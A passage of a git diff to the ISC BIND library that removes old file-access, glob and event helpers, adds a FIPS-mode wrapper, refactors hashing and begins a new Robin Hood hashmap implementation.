-	 * compiler whining anytime someone does want to use a const
-	 * arg that they themselves never modify, such as with
-	 * gcc -Wwrite-strings and using a string "arg".
-	 */
-	DE_CONST(arg, deconst_arg);
-
-	ISC_EVENT_INIT(event, size, 0, NULL, type, action, deconst_arg, sender,
-		       destroy, mctx);
-
-	return (event);
-}
-
-void
-isc_event_free(isc_event_t **eventp) {
-	isc_event_t *event;
-
-	REQUIRE(eventp != NULL);
-	event = *eventp;
-	*eventp = NULL;
-	REQUIRE(event != NULL);
-
-	REQUIRE(!ISC_LINK_LINKED(event, ev_link));
-	REQUIRE(!ISC_LINK_LINKED(event, ev_ratelink));
-
-	if (event->ev_destroy != NULL) {
-		(event->ev_destroy)(event);
-	}
-}
diff --git a/lib/isc/file.c b/lib/isc/file.c
index b3cf45534c..354d7647e0 100644
--- a/lib/isc/file.c
+++ b/lib/isc/file.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -60,8 +62,6 @@
 #include <isc/log.h>
 #include <isc/md.h>
 #include <isc/mem.h>
-#include <isc/platform.h>
-#include <isc/print.h>
 #include <isc/random.h>
 #include <isc/string.h>
 #include <isc/time.h>
@@ -195,7 +195,8 @@ isc_file_settime(const char *file, isc_time_t *when) {
 	 * Here is the real check for the high bit being set.
 	 */
 	if ((times[0].tv_sec &
-	     (1ULL << (sizeof(times[0].tv_sec) * CHAR_BIT - 1))) != 0) {
+	     (1ULL << (sizeof(times[0].tv_sec) * CHAR_BIT - 1))) != 0)
+	{
 		return (ISC_R_RANGE);
 	}
 
@@ -381,23 +382,6 @@ isc_file_openuniquemode(char *templet, int mode, FILE **fp) {
 	return (result);
 }
 
-isc_result_t
-isc_file_bopenunique(char *templet, FILE **fp) {
-	int mode = S_IWUSR | S_IRUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH;
-	return (isc_file_openuniquemode(templet, mode, fp));
-}
-
-isc_result_t
-isc_file_bopenuniqueprivate(char *templet, FILE **fp) {
-	int mode = S_IWUSR | S_IRUSR;
-	return (isc_file_openuniquemode(templet, mode, fp));
-}
-
-isc_result_t
-isc_file_bopenuniquemode(char *templet, int mode, FILE **fp) {
-	return (isc_file_openuniquemode(templet, mode, fp));
-}
-
 isc_result_t
 isc_file_remove(const char *filename) {
 	int r;
@@ -599,7 +583,7 @@ isc_file_absolutepath(const char *filename, char *path, size_t pathlen) {
 }
 
 isc_result_t
-isc_file_truncate(const char *filename, isc_offset_t size) {
+isc_file_truncate(const char *filename, off_t size) {
 	isc_result_t result = ISC_R_SUCCESS;
 
 	if (truncate(filename, size) < 0) {
@@ -686,53 +670,6 @@ isc_file_splitpath(isc_mem_t *mctx, const char *path, char **dirname,
 	return (ISC_R_SUCCESS);
 }
 
-void *
-isc_file_mmap(void *addr, size_t len, int prot, int flags, int fd,
-	      off_t offset) {
-#ifdef HAVE_MMAP
-	return (mmap(addr, len, prot, flags, fd, offset));
-#else  /* ifdef HAVE_MMAP */
-	void *buf;
-	ssize_t ret;
-	off_t end;
-
-	UNUSED(addr);
-	UNUSED(prot);
-	UNUSED(flags);
-
-	end = lseek(fd, 0, SEEK_END);
-	lseek(fd, offset, SEEK_SET);
-	if (end - offset < (off_t)len) {
-		len = end - offset;
-	}
-
-	buf = malloc(len);
-	if (buf == NULL) {
-		return (NULL);
-	}
-
-	ret = read(fd, buf, len);
-	if (ret != (ssize_t)len) {
-		free(buf);
-		buf = NULL;
-	}
-
-	return (buf);
-#endif /* ifdef HAVE_MMAP */
-}
-
-int
-isc_file_munmap(void *addr, size_t len) {
-#ifdef HAVE_MMAP
-	return (munmap(addr, len));
-#else  /* ifdef HAVE_MMAP */
-	UNUSED(len);
-
-	free(addr);
-	return (0);
-#endif /* ifdef HAVE_MMAP */
-}
-
 #define DISALLOW "\\/ABCDEFGHIJKLMNOPQRSTUVWXYZ"
 
 static isc_result_t
@@ -780,7 +717,7 @@ isc_file_sanitize(const char *dir, const char *base, const char *ext,
 		l += strlen(ext) + 1;
 	}
 
-	if (l > length || l > (unsigned)PATH_MAX) {
+	if (l > length || l > (unsigned int)PATH_MAX) {
 		return (ISC_R_NOSPACE);
 	}
 
diff --git a/lib/isc/fips.c b/lib/isc/fips.c
new file mode 100644
index 0000000000..e97c6b0020
--- /dev/null
+++ b/lib/isc/fips.c
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*! \file */
+
+#include <isc/fips.h>
+#include <isc/util.h>
+
+#if defined(HAVE_EVP_DEFAULT_PROPERTIES_ENABLE_FIPS)
+#include <openssl/evp.h>
+bool
+isc_fips_mode(void) {
+	return (EVP_default_properties_is_fips_enabled(NULL) != 0);
+}
+
+isc_result_t
+isc_fips_set_mode(int mode) {
+	return (EVP_default_properties_enable_fips(NULL, mode) != 0
+			? ISC_R_SUCCESS
+			: ISC_R_FAILURE);
+}
+#elif defined(HAVE_FIPS_MODE)
+#include <openssl/crypto.h>
+
+bool
+isc_fips_mode(void) {
+	return (FIPS_mode() != 0);
+}
+
+isc_result_t
+isc_fips_set_mode(int mode) {
+	return (FIPS_mode_set(mode) != 0 ? ISC_R_SUCCESS : ISC_R_FAILURE);
+}
+#else
+bool
+isc_fips_mode(void) {
+	return (false);
+}
+
+isc_result_t
+isc_fips_set_mode(int mode) {
+	UNUSED(mode);
+	return (ISC_R_NOTIMPLEMENTED);
+}
+#endif
diff --git a/lib/isc/fsaccess.c b/lib/isc/fsaccess.c
deleted file mode 100644
index e59527cfdb..0000000000
--- a/lib/isc/fsaccess.c
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <errno.h>
-#include <stdbool.h>
-#include <sys/stat.h>
-
-#include <isc/fsaccess.h>
-#include <isc/result.h>
-#include <isc/types.h>
-#include <isc/util.h>
-
-#include "../fsaccess_common_p.h"
-#include "errno2result.h"
-
-isc_result_t
-isc_fsaccess_set(const char *path, isc_fsaccess_t access) {
-	struct stat statb;
-	mode_t mode;
-	bool is_dir = false;
-	isc_fsaccess_t bits;
-	isc_result_t result;
-
-	if (stat(path, &statb) != 0) {
-		return (isc__errno2result(errno));
-	}
-
-	if ((statb.st_mode & S_IFDIR) != 0) {
-		is_dir = true;
-	} else if ((statb.st_mode & S_IFREG) == 0) {
-		return (ISC_R_INVALIDFILE);
-	}
-
-	result = isc__fsaccess_check_bad_bits(access, is_dir);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	/*
-	 * Done with checking bad bits.  Set mode_t.
-	 */
-	mode = 0;
-
-#define SET_AND_CLEAR1(modebit)     \
-	if ((access & bits) != 0) { \
-		mode |= modebit;    \
-		access &= ~bits;    \
-	}
-#define SET_AND_CLEAR(user, group, other) \
-	SET_AND_CLEAR1(user);             \
-	bits <<= STEP;                    \
-	SET_AND_CLEAR1(group);            \
-	bits <<= STEP;                    \
-	SET_AND_CLEAR1(other);
-
-	bits = ISC_FSACCESS_READ | ISC_FSACCESS_LISTDIRECTORY;
-
-	SET_AND_CLEAR(S_IRUSR, S_IRGRP, S_IROTH);
-
-	bits = ISC_FSACCESS_WRITE | ISC_FSACCESS_CREATECHILD |
-	       ISC_FSACCESS_DELETECHILD;
-
-	SET_AND_CLEAR(S_IWUSR, S_IWGRP, S_IWOTH);
-
-	bits = ISC_FSACCESS_EXECUTE | ISC_FSACCESS_ACCESSCHILD;
-
-	SET_AND_CLEAR(S_IXUSR, S_IXGRP, S_IXOTH);
-
-	INSIST(access == 0);
-
-	if (chmod(path, mode) < 0) {
-		return (isc__errno2result(errno));
-	}
-
-	return (ISC_R_SUCCESS);
-}
diff --git a/lib/isc/fsaccess_common.c b/lib/isc/fsaccess_common.c
deleted file mode 100644
index cef860461b..0000000000
--- a/lib/isc/fsaccess_common.c
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file
- * \brief
- * This file contains the OS-independent functionality of the API.
- */
-#include <stdbool.h>
-
-#include <isc/fsaccess.h>
-#include <isc/result.h>
-#include <isc/types.h>
-#include <isc/util.h>
-
-#include "fsaccess_common_p.h"
-
-void
-isc_fsaccess_add(int trustee, int permission, isc_fsaccess_t *access) {
-	REQUIRE(trustee <= 0x7);
-	REQUIRE(permission <= 0xFF);
-
-	if ((trustee & ISC_FSACCESS_OWNER) != 0) {
-		*access |= permission;
-	}
-
-	if ((trustee & ISC_FSACCESS_GROUP) != 0) {
-		*access |= (permission << GROUP);
-	}
-
-	if ((trustee & ISC_FSACCESS_OTHER) != 0) {
-		*access |= (permission << OTHER);
-	}
-}
-
-void
-isc_fsaccess_remove(int trustee, int permission, isc_fsaccess_t *access) {
-	REQUIRE(trustee <= 0x7);
-	REQUIRE(permission <= 0xFF);
-
-	if ((trustee & ISC_FSACCESS_OWNER) != 0) {
-		*access &= ~permission;
-	}
-
-	if ((trustee & ISC_FSACCESS_GROUP) != 0) {
-		*access &= ~(permission << GROUP);
-	}
-
-	if ((trustee & ISC_FSACCESS_OTHER) != 0) {
-		*access &= ~(permission << OTHER);
-	}
-}
-
-isc_result_t
-isc__fsaccess_check_bad_bits(isc_fsaccess_t access, bool is_dir) {
-	isc_fsaccess_t bits;
-
-	/*
-	 * Check for disallowed user bits.
-	 */
-	if (is_dir) {
-		bits = ISC_FSACCESS_READ | ISC_FSACCESS_WRITE |
-		       ISC_FSACCESS_EXECUTE;
-	} else {
-		bits = ISC_FSACCESS_CREATECHILD | ISC_FSACCESS_ACCESSCHILD |
-		       ISC_FSACCESS_DELETECHILD | ISC_FSACCESS_LISTDIRECTORY;
-	}
-
-	/*
-	 * Set group bad bits.
-	 */
-	bits |= bits << STEP;
-	/*
-	 * Set other bad bits.
-	 */
-	bits |= bits << STEP;
-
-	if ((access & bits) != 0) {
-		if (is_dir) {
-			return (ISC_R_NOTFILE);
-		} else {
-			return (ISC_R_NOTDIRECTORY);
-		}
-	}
-
-	return (ISC_R_SUCCESS);
-}
diff --git a/lib/isc/fsaccess_common_p.h b/lib/isc/fsaccess_common_p.h
deleted file mode 100644
index 9da7f2527d..0000000000
--- a/lib/isc/fsaccess_common_p.h
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-/*!
- * Shorthand.  Maybe ISC__FSACCESS_PERMISSIONBITS should not even be in
- * <isc/fsaccess.h>.  Could check consistency with sizeof(isc_fsaccess_t)
- * and the number of bits in each function.
- */
-#define STEP  (ISC__FSACCESS_PERMISSIONBITS)
-#define GROUP (STEP)
-#define OTHER (STEP * 2)
-
-isc_result_t
-isc__fsaccess_check_bad_bits(isc_fsaccess_t access, bool is_dir);
diff --git a/lib/bind9/getaddresses.c b/lib/isc/getaddresses.c
similarity index 93%
rename from lib/bind9/getaddresses.c
rename to lib/isc/getaddresses.c
index 36c6a33305..bed59b483a 100644
--- a/lib/bind9/getaddresses.c
+++ b/lib/isc/getaddresses.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,23 +14,22 @@
 /*! \file */
 
 #include <inttypes.h>
+#include <netdb.h>
 #include <stdbool.h>
 #include <string.h>
 
+#include <isc/getaddresses.h>
 #include <isc/net.h>
 #include <isc/netaddr.h>
-#include <isc/netdb.h>
 #include <isc/netscope.h>
 #include <isc/result.h>
 #include <isc/sockaddr.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
-#include <bind9/getaddresses.h>
-
 isc_result_t
-bind9_getaddresses(const char *hostname, in_port_t port, isc_sockaddr_t *addrs,
-		   int addrsize, int *addrcount) {
+isc_getaddresses(const char *hostname, in_port_t port, isc_sockaddr_t *addrs,
+		 int addrsize, int *addrcount) {
 	struct in_addr in4;
 	struct in6_addr in6;
 	bool have_ipv4, have_ipv6;
@@ -130,12 +131,13 @@ bind9_getaddresses(const char *hostname, in_port_t port, isc_sockaddr_t *addrs,
 			goto again;
 		}
 #endif /* ifdef AI_ADDRCONFIG */
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	default:
 		return (ISC_R_FAILURE);
 	}
 	for (tmpai = ai, i = 0; tmpai != NULL && i < addrsize;
-	     tmpai = tmpai->ai_next) {
+	     tmpai = tmpai->ai_next)
+	{
 		if (tmpai->ai_family != AF_INET && tmpai->ai_family != AF_INET6)
 		{
 			continue;
diff --git a/lib/isc/glob.c b/lib/isc/glob.c
deleted file mode 100644
index 6a265bf5a1..0000000000
--- a/lib/isc/glob.c
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <errno.h>
-#include <glob.h>
-#include <stdio.h>
-#include <string.h>
-
-#include <isc/errno.h>
-#include <isc/glob.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/types.h>
-#include <isc/util.h>
-
-isc_result_t
-isc_glob(const char *pattern, glob_t *pglob) {
-	REQUIRE(pattern != NULL);
-	REQUIRE(*pattern != '\0');
-	REQUIRE(pglob != NULL);
-
-	int rc = glob(pattern, GLOB_ERR, NULL, pglob);
-
-	switch (rc) {
-	case 0:
-		return (ISC_R_SUCCESS);
-
-	case GLOB_NOMATCH:
-		return (ISC_R_FILENOTFOUND);
-
-	case GLOB_NOSPACE:
-		return (ISC_R_NOMEMORY);
-
-	default:
-		return (errno != 0 ? isc_errno_toresult(errno) : ISC_R_IOERROR);
-	}
-}
-
-void
-isc_globfree(glob_t *pglob) {
-	REQUIRE(pglob != NULL);
-	globfree(pglob);
-}
diff --git a/lib/isc/hash.c b/lib/isc/hash.c
index 6f3c701c6a..1a28a216a7 100644
--- a/lib/isc/hash.c
+++ b/lib/isc/hash.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,16 +15,16 @@
 #include <stdbool.h>
 #include <stddef.h>
 
-#include "entropy_private.h"
-#include "isc/hash.h" /* IWYU pragma: keep */
-#include "isc/likely.h"
-#include "isc/once.h"
-#include "isc/random.h"
-#include "isc/result.h"
-#include "isc/siphash.h"
-#include "isc/string.h"
-#include "isc/types.h"
-#include "isc/util.h"
+#include <isc/ascii.h>
+#include <isc/entropy.h>
+#include <isc/hash.h> /* IWYU pragma: keep */
+#include <isc/once.h>
+#include <isc/random.h>
+#include <isc/result.h>
+#include <isc/siphash.h>
+#include <isc/string.h>
+#include <isc/types.h>
+#include <isc/util.h>
 
 static uint8_t isc_hash_key[16];
 static uint8_t isc_hash32_key[8];
@@ -47,37 +49,10 @@ isc_hash_initialize(void) {
 	hash_initialized = true;
 }
 
-static uint8_t maptolower[] = {
-	0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b,
-	0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
-	0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23,
-	0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
-	0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b,
-	0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
-	0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73,
-	0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
-	0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b,
-	0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
-	0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83,
-	0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
-	0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b,
-	0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
-	0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3,
-	0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
-	0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb,
-	0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
-	0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3,
-	0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
-	0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb,
-	0xfc, 0xfd, 0xfe, 0xff
-};
-
 const void *
 isc_hash_get_initializer(void) {
-	if (ISC_UNLIKELY(!hash_initialized)) {
-		RUNTIME_CHECK(
-			isc_once_do(&isc_hash_once, isc_hash_initialize) ==
-			ISC_R_SUCCESS);
+	if (!hash_initialized) {
+		isc_once_do(&isc_hash_once, isc_hash_initialize);
 	}
 
 	return (isc_hash_key);
@@ -91,10 +66,8 @@ isc_hash_set_initializer(const void *initializer) {
 	 * Ensure that isc_hash_initialize() is not called after
 	 * isc_hash_set_initializer() is called.
 	 */
-	if (ISC_UNLIKELY(!hash_initialized)) {
-		RUNTIME_CHECK(
-			isc_once_do(&isc_hash_once, isc_hash_initialize) ==
-			ISC_R_SUCCESS);
+	if (!hash_initialized) {
+		isc_once_do(&isc_hash_once, isc_hash_initialize);
 	}
 
 	memmove(isc_hash_key, initializer, sizeof(isc_hash_key));
@@ -106,19 +79,10 @@ isc_hash64(const void *data, const size_t length, const bool case_sensitive) {
 
 	REQUIRE(length == 0 || data != NULL);
 
-	RUNTIME_CHECK(isc_once_do(&isc_hash_once, isc_hash_initialize) ==
-		      ISC_R_SUCCESS);
-
-	if (case_sensitive) {
-		isc_siphash24(isc_hash_key, data, length, (uint8_t *)&hval);
-	} else {
-		uint8_t input[1024];
-		REQUIRE(length <= 1024);
-		for (unsigned int i = 0; i < length; i++) {
-			input[i] = maptolower[((const uint8_t *)data)[i]];
-		}
-		isc_siphash24(isc_hash_key, input, length, (uint8_t *)&hval);
-	}
+	isc_once_do(&isc_hash_once, isc_hash_initialize);
+
+	isc_siphash24(isc_hash_key, data, length, case_sensitive,
+		      (uint8_t *)&hval);
 
 	return (hval);
 }
@@ -129,20 +93,10 @@ isc_hash32(const void *data, const size_t length, const bool case_sensitive) {
 
 	REQUIRE(length == 0 || data != NULL);
 
-	RUNTIME_CHECK(isc_once_do(&isc_hash_once, isc_hash_initialize) ==
-		      ISC_R_SUCCESS);
-
-	if (case_sensitive) {
-		isc_halfsiphash24(isc_hash_key, data, length, (uint8_t *)&hval);
-	} else {
-		uint8_t input[1024];
-		REQUIRE(length <= 1024);
-		for (unsigned int i = 0; i < length; i++) {
-			input[i] = maptolower[((const uint8_t *)data)[i]];
-		}
-		isc_halfsiphash24(isc_hash_key, input, length,
-				  (uint8_t *)&hval);
-	}
+	isc_once_do(&isc_hash_once, isc_hash_initialize);
+
+	isc_halfsiphash24(isc_hash_key, data, length, case_sensitive,
+			  (uint8_t *)&hval);
 
 	return (hval);
 }
diff --git a/lib/isc/hashmap.c b/lib/isc/hashmap.c
new file mode 100644
index 0000000000..b54e61137e
--- /dev/null
+++ b/lib/isc/hashmap.c
@@ -0,0 +1,745 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * This is an implementation of the Robin Hood hash table algorithm as
+ * described in [a] with simple linear searching, and backwards shift
+ * deletion algorithm as described in [b] and [c].
+ *
+ * Further work:
+ * 1. Implement 4.1 Speeding up Searches - 4.4 Smart Search [a]
+ * 2. Implement A Fast Concurrent and Resizable Robin Hood Hash Table [b]
+ *
+ * a. https://cs.uwaterloo.ca/research/tr/1986/CS-86-14.pdf paper.
+ * b. https://dspace.mit.edu/bitstream/handle/1721.1/130693/1251799942-MIT.pdf
+ * c.
+ * https://codecapsule.com/2013/11/17/robin-hood-hashing-backward-shift-deletion/
+ */
+
+#include <ctype.h>
+#include <inttypes.h>
+#include <string.h>
+
+#include <isc/ascii.h>
+#include <isc/entropy.h>
+#include <isc/hash.h>
+#include <isc/hashmap.h>
+#include <isc/magic.h>
+#include <isc/mem.h>
+#include <isc/result.h>
+#include <isc/siphash.h>
+#include <isc/types.h>
+#include <isc/util.h>
+
+#define APPROX_99_PERCENT(x) (((x)*1013) >> 10)
+#define APPROX_95_PERCENT(x) (((x)*972) >> 10)
+#define APPROX_90_PERCENT(x) (((x)*921) >> 10)
+#define APPROX_85_PERCENT(x) (((x)*870) >> 10)
+#define APPROX_40_PERCENT(x) (((x)*409) >> 10)
+#define APPROX_35_PERCENT(x) (((x)*359) >> 10)
+#define APPROX_30_PERCENT(x) (((x)*308) >> 10)
+#define APPROX_25_PERCENT(x) (((x)*256) >> 10)
+#define APPROX_20_PERCENT(x) (((x)*205) >> 10)
+#define APPROX_15_PERCENT(x) (((x)*154) >> 10)
+#define APPROX_10_PERCENT(x) (((x)*103) >> 10)
+#define APPROX_05_PERCENT(x) (((x)*52) >> 10)
+#define APPROX_01_PERCENT(x) (((x)*11) >> 10)
+
+#define ISC_HASHMAP_MAGIC	   ISC_MAGIC('H', 'M', 'a', 'p')
+#define ISC_HASHMAP_VALID(hashmap) ISC_MAGIC_VALID(hashmap, ISC_HASHMAP_MAGIC)
+
+/* We have two tables for incremental rehashing */
+#define HASHMAP_NUM_TABLES 2
+
+#define HASHSIZE(bits) (UINT64_C(1) << (bits))
+
+#define HASHMAP_NO_BITS	 0U
+#define HASHMAP_MIN_BITS 1U
+#define HASHMAP_MAX_BITS 32U
+
+typedef struct hashmap_node {
+	const uint8_t *key;
+	void *value;
+	uint32_t hashval;
+	uint32_t psl;
+	uint16_t keysize;
+} hashmap_node_t;
+
+typedef struct hashmap_table {
+	size_t size;
+	uint8_t hashbits;
+	uint32_t hashmask;
+	hashmap_node_t *table;
+} hashmap_table_t;
+
+struct isc_hashmap {
+	unsigned int magic;
+	bool case_sensitive;
+	uint8_t hindex;
+	uint32_t hiter; /* rehashing iterator */
+	isc_mem_t *mctx;
+	size_t count;
+	uint8_t hash_key[16];
+	hashmap_table_t tables[HASHMAP_NUM_TABLES];
+};
+
+struct isc_hashmap_iter {
+	isc_hashmap_t *hashmap;
+	size_t i;
+	uint8_t hindex;
+	hashmap_node_t *cur;
+};
+
+static isc_result_t
+hashmap_add(isc_hashmap_t *hashmap, const uint32_t hashval, const uint8_t *key,
+	    const uint32_t keysize, void *value, uint8_t idx);
+
+static void
+hashmap_rehash_one(isc_hashmap_t *hashmap);
+static void
+hashmap_rehash_start_grow(isc_hashmap_t *hashmap);
+static void
+hashmap_rehash_start_shrink(isc_hashmap_t *hashmap);
+static bool
+over_threshold(isc_hashmap_t *hashmap);
+static bool
+under_threshold(isc_hashmap_t *hashmap);
+
+static uint8_t
+hashmap_nexttable(uint8_t idx) {
+	return ((idx == 0) ? 1 : 0);
+}
+
+static bool
+rehashing_in_progress(const isc_hashmap_t *hashmap) {
+	return (hashmap->tables[hashmap_nexttable(hashmap->hindex)].table !=
+		NULL);
+}
+
+static bool
+try_nexttable(const isc_hashmap_t *hashmap, uint8_t idx) {
+	return (idx == hashmap->hindex && rehashing_in_progress(hashmap));
+}
+
+static void
+hashmap_node_init(hashmap_node_t *node, const uint32_t hashval,
+		  const uint8_t *key, const uint32_t keysize, void *value) {
+	REQUIRE(key != NULL && keysize <= UINT16_MAX);
+
+	*node = (hashmap_node_t){
+		.value = value,
+		.hashval = hashval,
+		.key = key,
+		.keysize = keysize,
+		.psl = 0,
+	};
+}
+
+ISC_ATTR_UNUSED static void
+hashmap_dump_table(const isc_hashmap_t *hashmap, const uint8_t idx) {
+	fprintf(stderr,
+		"====== %" PRIu8 " (bits = %" PRIu8 ", size = %zu =====\n", idx,
+		hashmap->tables[idx].hashbits, hashmap->tables[idx].size);
+	for (size_t i = 0; i < hashmap->tables[idx].size; i++) {
+		hashmap_node_t *node = &hashmap->tables[idx].table[i];
+		if (node->key != NULL) {
+			uint32_t hash = isc_hash_bits32(
+				node->hashval, hashmap->tables[idx].hashbits);
+			fprintf(stderr,
+				"%p: %zu -> %p"
+				", value = %p"
+				", hash = %" PRIu32 ", hashval = %" PRIu32
+				", psl = %" PRIu32 ", key = %s\n",
+				hashmap, i, node, node->value, hash,
+				node->hashval, node->psl, (char *)node->key);
+		}
+	}
+	fprintf(stderr, "================\n\n");
+}
+
+static void
+hashmap_create_table(isc_hashmap_t *hashmap, const uint8_t idx,
+		     const uint8_t bits) {
+	REQUIRE(hashmap->tables[idx].hashbits == HASHMAP_NO_BITS);
+	REQUIRE(hashmap->tables[idx].table == NULL);
+	REQUIRE(bits >= HASHMAP_MIN_BITS);
+	REQUIRE(bits <= HASHMAP_MAX_BITS);
+
+	hashmap->tables[idx] = (hashmap_table_t){
+		.hashbits = bits,
+		.hashmask = HASHSIZE(bits) - 1,
+		.size = HASHSIZE(bits),
+	};
+
+	hashmap->tables[idx].table =
+		isc_mem_cget(hashmap->mctx, hashmap->tables[idx].size,
+			     sizeof(hashmap->tables[idx].table[0]));
+}
+
+static void
+hashmap_free_table(isc_hashmap_t *hashmap, const uint8_t idx, bool cleanup) {
+	size_t size;
+
+	if (cleanup) {
+		for (size_t i = 0; i < hashmap->tables[idx].size; i++) {
+			hashmap_node_t *node = &hashmap->tables[idx].table[i];
+			if (node->key != NULL) {
+				*node = (hashmap_node_t){ 0 };
+				hashmap->count--;
+			}
+		}
+	}
+
+	size = hashmap->tables[idx].size *
+	       sizeof(hashmap->tables[idx].table[0]);
+	isc_mem_put(hashmap->mctx, hashmap->tables[idx].table, size);
+
+	hashmap->tables[idx] = (hashmap_table_t){
+		.hashbits = HASHMAP_NO_BITS,
+	};
+}
+
+void
+isc_hashmap_create(isc_mem_t *mctx, uint8_t bits, unsigned int options,
+		   isc_hashmap_t **hashmapp) {
+	isc_hashmap_t *hashmap = isc_mem_get(mctx, sizeof(*hashmap));
+	bool case_sensitive = ((options & ISC_HASHMAP_CASE_INSENSITIVE) == 0);
+
+	REQUIRE(hashmapp != NULL && *hashmapp == NULL);
+	REQUIRE(mctx != NULL);
+	REQUIRE(bits >= HASHMAP_MIN_BITS && bits <= HASHMAP_MAX_BITS);
+
+	*hashmap = (isc_hashmap_t){
+		.magic = ISC_HASHMAP_MAGIC,
